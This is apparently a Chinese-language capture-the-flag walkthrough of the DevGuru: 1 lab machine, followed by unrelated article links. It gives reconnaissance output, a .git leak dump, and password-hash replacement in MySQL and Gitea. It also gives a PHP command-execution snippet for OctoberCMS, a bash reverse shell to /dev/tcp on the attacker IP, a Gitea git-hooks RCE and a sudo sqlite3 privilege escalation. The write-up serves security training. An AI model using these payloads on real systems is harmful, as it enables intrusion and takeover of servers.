红队打靶练习:DEVGURU: 1

目录

信息收集

1、arp

2、nmap

3、dirsearch

WEB

web信息收集

8585端口

漏洞利用

提权

系统信息收集

横向渗透

get flag

信息收集

1、arp
┌──(root㉿ru)-[~/kali]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:50:56:20:80:1b, IPv4: 192.168.10.128
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.10.1    00:50:56:c0:00:08       VMware, Inc.
192.168.10.2    00:50:56:ef:1c:2c       VMware, Inc.
192.168.10.129  00:50:56:3d:f3:a2       VMware, Inc.
192.168.10.254  00:50:56:e3:cb:23       VMware, Inc.4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.512 seconds (101.91 hosts/sec). 4 responded
2、nmap
端口探测┌──(root㉿ru)-[~/kali]
└─# nmap -p- 192.168.10.129 --min-rate 10000 -oA port
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-11 15:58 CST
Nmap scan report for 192.168.10.129
Host is up (0.00073s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8585/tcp open  unknown
MAC Address: 00:50:56:3D:F3:A2 (VMware)Nmap done: 1 IP address (1 host up) scanned in 6.47 seconds
信息探测┌──(root㉿ru)-[~/kali]
└─# nmap -sCV -O -p 22,80,8585  192.168.10.129 --min-rate 10000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-11 15:59 CST
Nmap scan report for 192.168.10.129
Host is up (0.00048s latency).PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 2a:46:e8:2b:01:ff:57:58:7a:5f:25:a4:d6:f2:89:8e (RSA)
|   256 08:79:93:9c:e3:b4:a4:be:80:ad:61:9d:d3:88:d2:84 (ECDSA)
|_  256 9c:f9:88:d4:33:77:06:4e:d9:7c:39:17:3e:07:9c:bd (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-generator: DevGuru
|_http-title: Corp - DevGuru
| http-git:
|   192.168.10.129:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|     Last commit message: first commit
|     Remotes:
|       http://devguru.local:8585/frank/devguru-website.git
|_    Project type: PHP application (guessed from .gitignore)
8585/tcp open  unknown
| fingerprint-strings:
|   GenericLines:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gitea=c2502ca5a6027f8c; Path=/; HttpOnly
|     Set-Cookie: _csrf=m6_Uyad2EUuvXga7fCnRP0LOxC46MTcwNzYzODQwMTQwMTk3ODQzMQ; Path=/; Expires=Mon, 12 Feb 2024 08:00:01 GMT; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Sun, 11 Feb 2024 08:00:01 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title> Gitea: Git with a cup of tea </title>
|     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
|     <meta name="theme-color" content="#6cc644">
|     <meta name="author" content="Gitea - Git with a cup of tea" />
|     <meta name="description" content="Gitea (Git with a cup of tea) is a painless
|   HTTPOptions:
|     HTTP/1.0 404 Not Found
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gitea=f422a1434014dafa; Path=/; HttpOnly
|     Set-Cookie: _csrf=HLj_tVhmG450QtGbvNKM8stOKoA6MTcwNzYzODQwMTQ2OTY3NTk3NQ; Path=/; Expires=Mon, 12 Feb 2024 08:00:01 GMT; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Sun, 11 Feb 2024 08:00:01 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Page Not Found - Gitea: Git with a cup of tea </title>
|     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
|     <meta name="theme-color" content="#6cc644">
|     <meta name="author" content="Gitea - Git with a cup of tea" />
|_    <meta name="description" content="Gitea (Git with a c
MAC Address: 00:50:56:3D:F3:A2 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.16 seconds
通过信息收集，我们发现存在git以及一个域名！我们先把域名添加到hosts文件中！┌──(root㉿ru)-[~/kali]
└─# cat /etc/hosts | grep 192
192.168.10.129  devguru.local

3、dirsearch
──(root㉿ru)-[~/kali]
└─# dirsearch -u http://192.168.10.129 -e* -x 403
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.htmlfrom pkg_resources import DistributionNotFound, VersionConflict_|. _ _  _  _  _ _|_    v0.4.3(_||| _) (/_(_|| (_| )Extensions: php, jsp, asp, aspx, do, action, cgi, html, htm, js, tar.gz | HTTP method: GET | Threads: 25 | Wordlist size: 14594Output File: /root/kali/reports/http_192.168.10.129/_24-02-11_16-00-11.txtTarget: http://192.168.10.129/[16:00:11] Starting:
[16:00:16] 200 -  276B  - /.git/config
[16:00:16] 301 -  315B  - /.git  ->  http://192.168.10.129/.git/
[16:00:16] 200 -   73B  - /.git/description
[16:00:16] 200 -   13B  - /.git/COMMIT_EDITMSG
[16:00:16] 200 -   23B  - /.git/HEAD
[16:00:16] 200 -  308KB - /.git/index
[16:00:16] 200 -  158B  - /.git/logs/HEAD
[16:00:16] 200 -  240B  - /.git/info/exclude
[16:00:16] 301 -  325B  - /.git/logs/refs  ->  http://192.168.10.129/.git/logs/refs/
[16:00:16] 301 -  331B  - /.git/logs/refs/heads  ->  http://192.168.10.129/.git/logs/refs/heads/
[16:00:16] 301 -  333B  - /.git/logs/refs/remotes  ->  http://192.168.10.129/.git/logs/refs/remotes/
[16:00:16] 301 -  340B  - /.git/logs/refs/remotes/origin  ->  http://192.168.10.129/.git/logs/refs/remotes/origin/
[16:00:16] 200 -  158B  - /.git/logs/refs/heads/master
[16:00:16] 200 -  142B  - /.git/logs/refs/remotes/origin/master
[16:00:16] 301 -  326B  - /.git/refs/heads  ->  http://192.168.10.129/.git/refs/heads/
[16:00:16] 301 -  328B  - /.git/refs/remotes  ->  http://192.168.10.129/.git/refs/remotes/
[16:00:16] 301 -  335B  - /.git/refs/remotes/origin  ->  http://192.168.10.129/.git/refs/remotes/origin/
[16:00:16] 200 -   41B  - /.git/refs/remotes/origin/master
[16:00:16] 301 -  325B  - /.git/refs/tags  ->  http://192.168.10.129/.git/refs/tags/
[16:00:16] 200 -   41B  - /.git/refs/heads/master
[16:00:16] 200 -  413B  - /.gitignore
[16:00:17] 200 -    2KB - /.htaccess
[16:00:28] 200 -    3KB - /about
[16:00:28] 200 -    3KB - /About
[16:00:48] 200 -    2KB - /adminer.php
[16:00:57] 302 -  414B  - /backend/  ->  http://192.168.10.129/backend/backend/auth
[16:01:05] 301 -  317B  - /config  ->  http://192.168.10.129/config/
[16:01:26] 200 -    3KB - /index.php
[16:01:38] 301 -  318B  - /modules  ->  http://192.168.10.129/modules/
[16:01:49] 301 -  318B  - /plugins  ->  http://192.168.10.129/plugins/
[16:01:53] 200 -    1KB - /README.md
[16:01:58] 200 -    0B  - /server.php
[16:01:59] 200 -    2KB - /services
[16:01:59] 200 -    2KB - /services/
[16:02:05] 301 -  318B  - /storage  ->  http://192.168.10.129/storage/
[16:02:10] 301 -  317B  - /themes  ->  http://192.168.10.129/themes/

WEB

web信息收集

目录中存在git目录，猜测存在git泄露！使用脚本进行脱取!

GitHub - 0xHJK/dumpall: 一款信息泄漏利用工具，适用于.git/.svn/.DS_Store泄漏和目录列出一款信息泄漏利用工具，适用于.git/.svn/.DS_Store泄漏和目录列出. Contribute to 0xHJK/dumpall development by creating an account on GitHub.icon-default.png?t=N7T8https://github.com/0xHJK/dumpall

┌──(root㉿ru)-[~/tools/POC/dumpall]
└─# python3 dumpall.py___                  ___   __   __/ _ \__ ____ _  ___  / _ | / /  / // // / // /  ' \/ _ \/ __ |/ /__/ /__/____/\_,_/_/_/_/ .__/_/ |_/____/____//_/https://github.com/0xHJK/dumpall---------------------------------------------v0.4.0 HJK请输入目标URL，必须包含http://或https://>>: http://192.168.10.129/.git/
Target: http://192.168.10.129/.git/
Output Directory: /root/tools/POC/dumpall/192.168.10.129_NoneModule: dumpall.addons.gitdumper


发现了个登录框！


在config文件夹内发现database文件，发现了mysql的账号密码！我们尝试登录mysql的那个管理页面！


存在账号名以及密码！密码是哈希值！


类型是bcrypt类型！破解的话很慢！我们尝试别的方法！
8585端口

三个登录框！用户名肯定是frank 既然爆破浪费时间，我们直接加密一个该类型的密码！然后进行替换！


直接编辑即可！
漏洞利用

这个可以直接登录！  frank：自己设置的密码！这个cms叫 OctoberCMS 可以搜索一下！


经过搜索发现远程代码执行漏洞

OctoberCMS Authenticated RCE (CVE-2022-21705)Join us in the discovery and exploitation of an authenticated remote code execution vulnerability in OctoberCMSicon-default.png?t=N7T8https://cyllective.com/blog/post/octobercms-cve-2022-21705

经过poc验证，确实存在该漏洞！这样我们就可以构造paylaod进行反弹shell了！


function onInit() {
system($_GET['cmd']);
}

利用成功！我们进行反弹shell！payload/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.128/1234 0>&1'/bin/bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/192.168.10.128/1234%200%3E%261%27   url编码！

提权

系统信息收集
ww-data@devguru:/home$ find / -user frank 2>/dev/null/var/backups/app.ini.bak
/usr/local/bin/gitea
/opt/gitea
/home/frank
/etc/gitea经过信息收集，我们发现www-date用户并不能做什么！我们只能进行横向了！
在这里，我是用find命令查看用户frank的文件！其中/var/backups/app.ini.bak文件，最有意思！我们查看一下！


得到用户名以及密码gitea：UfFPTF8C8jjxVF2m ： gitea

在user表中得到frank用户以及密码！这个我们直接加密并替换！


加密类型：pbkdf2，但是这个需要进行加盐处理，我们直接改为bcrypt类型！配置文件里可以查看到，可以修改加密类型！

登录成功！
横向渗透

发现该cms版本是1.12.5！我们搜索一下该漏洞！

GitHub - p0dalirius/CVE-2020-14144-GiTea-git-hooks-rce: A script to exploit CVE-2020-14144 - GiTea authenticated Remote Code Execution using git hooksA script to exploit CVE-2020-14144 - GiTea authenticated Remote Code Execution using git hooks - GitHub - p0dalirius/CVE-2020-14144-GiTea-git-hooks-rce: A script to exploit CVE-2020-14144 - GiTea authenticated Remote Code Execution using git hooksicon-default.png?t=N7T8https://github.com/p0dalirius/CVE-2020-14144-GiTea-git-hooks-rce

随便更改一个，然后保存即可！在保存的时候会调用配置文件，从而达到rce的效果！


frank@devguru:~/gitea-repositories/frank/devguru-website.git$ id
id
uid=1000(frank) gid=1000(frank) groups=1000(frank)
frank@devguru:~/gitea-repositories/frank/devguru-website.git$

frank@devguru:~/gitea-repositories/frank/devguru-website.git$ sudo -l
sudo -l
Matching Defaults entries for frank on devguru:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser frank may run the following commands on devguru:(ALL, !root) NOPASSWD: /usr/bin/sqlite3


paylaod sudo -u#-1 /usr/bin/sqlite3 /dev/null '.shell /bin/sh'


payload一定要写对！提权成功！
get flag
cd /root
ls -al
total 72
drwx------  8 root root 4096 Nov 19  2020 .
drwxr-xr-x 25 root root 4096 Nov 19  2020 ..
lrwxrwxrwx  1 root root    9 Nov 18  2020 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
drwx------  2 root root 4096 Nov 19  2020 .cache
drwx------  3 root root 4096 Nov 18  2020 .config
-rw-r--r--  1 root root   76 Nov 19  2020 .gitconfig
drwx------  3 root root 4096 Nov 19  2020 .gnupg
-rw-------  1 root root   38 Nov 18  2020 .lesshst
drwxr-xr-x  3 root root 4096 Nov 18  2020 .local
lrwxrwxrwx  1 root root    9 Nov 18  2020 .mysql_history -> /dev/null
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   66 Nov 19  2020 .selected_editor
drwx------  2 root root 4096 Nov 19  2020 .ssh
drwxr-xr-x  2 root root 4096 Nov 18  2020 .vim
-rw-------  1 root root 9900 Nov 19  2020 .viminfo
-r--------  1 root root   88 Nov 19  2020 msg.txt
-r--------  1 root root   33 Nov 18  2020 root.txt
cat root.txt
96440606fb88aa7497cde5a8e68daf8f

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.hqwc.cn/news/466188.html

如若内容造成侵权/违法违规/事实不符，请联系编程知识网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

【Linux学习】线程详解

【Linux学习】线程详解

目录 十八.多线程 18.1 线程与进程 18.2 内核视角看待创建线程与进程 18.3 线程优缺点总结 线程的优点&#xff1a; 线程的缺点&#xff1a; 线程的用途&#xff1a; 18.4 线程与进程的联系 十九.线程控制 19.1 POSIX线程库 19.2 线程创建 19.3 线程等待 19.4 线程终止 19.5 线…
阅读更多...
python -m SimpleHTTPServer mac报错

python -m SimpleHTTPServer mac报错

错误内容&#xff1a; Traceback (most recent call last):File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/runpy.py", line 174, in _run_module_as_main"__main__", fname, loader, pkg_name)File "/System/Libra…
阅读更多...
Uniapp真机调试：手机端访问电脑端的后端接口解决

Uniapp真机调试：手机端访问电脑端的后端接口解决

Uniapp真机调试&#xff1a;手机端访问电脑端的后端接口解决 1、前置操作 HBuilderX -> 运行 -> 运行到手机或模拟器 -> 运行到Android App基座 少了什么根据提示点击下载即可 使用数据线连接手机和电脑 手机端&#xff1a;打开开发者模式 -> USB调试打开手机端&…
阅读更多...
前端面试题——JS实现反转链式表

前端面试题——JS实现反转链式表

前言 反转单向链表就是将整个单链表的数据进行倒序的过程。 例如&#xff0c;如果反转之前的单链表是0->1->2->3&#xff0c;那么反转之后的单链表应该是3->2->1->0。这个操作通常是通过改变链表中每个节点的指针方向来实现的&#xff0c;即让每个节点的指…
阅读更多...
HCIA-HarmonyOS设备开发认证V2.0-3.2.轻量系统内核基础-中断管理

HCIA-HarmonyOS设备开发认证V2.0-3.2.轻量系统内核基础-中断管理

目录 一、中断基础概念二、中断管理使用说明三、中断管理模块接口四、代码分析&#xff08;待续...&#xff09; 一、中断基础概念 在程序运行过程中&#xff0c;出现需要由 CPU 立即处理的事务时&#xff0c;CPU 暂时中止当前程序的执行转而处理这个事务&#xff0c;这个过程…
阅读更多...
KingSCADA实现按钮点击效果

KingSCADA实现按钮点击效果

哈喽&#xff0c;你好啊&#xff0c;我是雷工&#xff01; 在做SCADA项目的时候&#xff0c;按钮是不可缺少的功能&#xff0c;但软件自带的按钮太丑&#xff0c;已经无法满足现如今客户对界面美观度的要求。 这时候就需要UI小姐姐设计美观大气的SCADA界面&#xff0c;但UI设计…
阅读更多...
车载诊断协议DoIP系列 —— 协议中术语解释和定义

车载诊断协议DoIP系列 —— 协议中术语解释和定义

车载诊断协议DoIP系列 —— 协议中术语解释和定义 我是穿拖鞋的汉子，魔都中坚持长期主义的汽车电子工程师（Wechat：gongkenan2013）。 老规矩，分享一段喜欢的文字，避免自己成为高知识低文化的工程师： 本就是小人物，输了就是输了，不要在意别人怎么看自己。江湖一碗茶，…
阅读更多...
小周带你正确理解Prompt-engineering,RAG,fine-tuning工程化的地位和意义

小周带你正确理解Prompt-engineering,RAG,fine-tuning工程化的地位和意义

有人会说&#xff1a;"小周&#xff0c;几天不见这么拉了&#xff0c;现在别说算法了&#xff0c;连code都不讲了&#xff0c;整上方法论了。" 我并没有拉&#xff01;而且方法论很重要&#xff0c;尤其工程化的时候&#xff0c;你总得知道每种技术到底适合干啥&…
阅读更多...
政安晨：演绎在KerasCV中使用Stable Diffusion进行高性能图像生成

政安晨：演绎在KerasCV中使用Stable Diffusion进行高性能图像生成

小伙伴们好&#xff0c;咱们今天演绎一个使用KerasCV的StableDiffusion模型生成新的图像的示例。 考虑计算机性能的因素&#xff0c;这次咱们在Colab上进行&#xff0c;Colab您可以理解为在线版的Jupyter Notebook&#xff0c;还不熟悉Jupyter的的小伙伴可以去看一下我以前的文…
阅读更多...
Linux中FIFO管道

Linux中FIFO管道

介绍&#xff1a; FIFO被称为命名管道&#xff0c;pipe只能用于有血缘关系的进程间通信&#xff0c;但通过FIFO&#xff0c;不相关的进程也可以进程间通信。 FIFO是linux基础文件类型的一种&#xff08;文件类型为p&#xff09;&#xff0c;FIFO文件在磁盘上没有数据块&#…
阅读更多...
3秒实现无痛基于Stable Diffusion WebUI安装ComfyUI！无需重复安装环境！无需重复下载模型！安装教程

3秒实现无痛基于Stable Diffusion WebUI安装ComfyUI！无需重复安装环境！无需重复下载模型！安装教程

标题略有夸张哈哈哈哈&#xff0c;但想表达的是&#xff0c;相较于直接下载或者通过秋叶包更新而&#xff0c;接下来这一套方案确实很简单&#xff0c;而且能够 大大节省磁盘空间&#xff0c;和下载时间。 这篇教程不需要你有&#xff1a; 代码基础。都是复制粘贴就完事。魔法…
阅读更多...
windows 下安装gin

windows 下安装gin

go install 执行命令&#xff0c;执行不了的参考一下 https://blog.csdn.net/weixin_42592326/article/details/135946806 Golang 中没法下载第三方包解决办法-CSDN博客 go install github.com/gin-gonic/ginlatest 还是安装不了的话&#xff0c;用手机开热点&#xff0c;电…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023